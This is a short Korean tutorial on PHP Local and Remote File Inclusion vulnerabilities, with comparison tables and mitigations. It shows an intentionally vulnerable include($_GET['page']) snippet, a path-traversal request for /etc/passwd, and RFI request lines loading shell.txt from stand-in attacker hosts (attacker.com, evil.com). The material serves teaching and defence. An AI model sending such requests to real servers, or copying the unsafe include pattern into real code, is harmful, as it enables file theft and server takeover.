LFI(Local File Inclusion)는 웹 애플리케이션 취약점 중 하나로, 사용자가 입력한 값을 기반으로 서버 내의 파일을 불러올 수 있을 때 발생하는 취약점입니다. 공격자가 이를 악용하면, 서버 내의 민감한 파일을 읽거나 악성 스크립트를 실행시킬 수 있습니다.
웹 애플리케이션에서 특정 파일을 불러오기 위해 다음과 같은 코드가 있다고 가정합니다:
<?php
$page = $_GET['page'];
include($page);
?>
정상적인 요청:
http://example.com/index.php?page=home.php
공격적인 요청:
http://example.com/index.php?page=../../../../etc/passwd
이렇게 되면 서버의 /etc/passwd
같은 민감한 파일이 노출될 수 있습니다.
/etc/passwd
, 설정 파일 등항목 | LFI | RFI |
---|---|---|
이름 | Local File Inclusion | Remote File Inclusion |
차이점 | 서버 내의 파일을 포함 | 외부 서버의 파일을 포함 |
위험도 | 보통 | 더 위험 (외부 코드 실행 가능) |
include
, require
대신 안전한 라우팅 사용**RFI(Remote File Inclusion)**는 원격 파일 포함 취약점으로, 웹 애플리케이션이 외부에서 호스팅된 악성 파일을 불러와 실행할 수 있는 보안 취약점입니다. PHP와 같은 서버 사이드 스크립트 언어에서 주로 발생합니다.
웹 애플리케이션에서 다음과 같은 코드가 있다고 가정:
<?php
$page = $_GET['page'];
include($page);
?>
공격 요청:
http://example.com/index.php?page=http://attacker.com/shell.txt
이렇게 되면 attacker.com
에서 제공하는 PHP 코드가 서버에서 실행되어, 공격자가 서버를 완전히 제어할 수 있습니다.
항목 | RFI (Remote File Inclusion) | LFI (Local File Inclusion) |
---|---|---|
포함 대상 | 외부(원격)의 파일 | 로컬(서버 내부)의 파일 |
실행 가능성 | PHP 코드 실행 가능 | 코드 실행은 조건부 |
위험 수준 | 매우 높음 | 보통~높음 |
예시 | http://example.com/index.php?page=http://evil.com/shell.txt | http://example.com/index.php?page=../../etc/passwd |
allow_url_include
, allow_url_fopen
설정 비활성화
allow_url_include = Off
allow_url_fopen = Off
사용자 입력값 검증 및 필터링
정적 파일 목록 사용 (화이트리스트 방식)
동적 파일 포함 대신, 라우팅/템플릿 엔진 사용
웹 애플리케이션 방화벽(WAF) 활용
RFI는 실제 서버 장악으로 이어질 수 있기 때문에, 발견 즉시 수정하고 서버 보안 점검을 수행해야 합니다.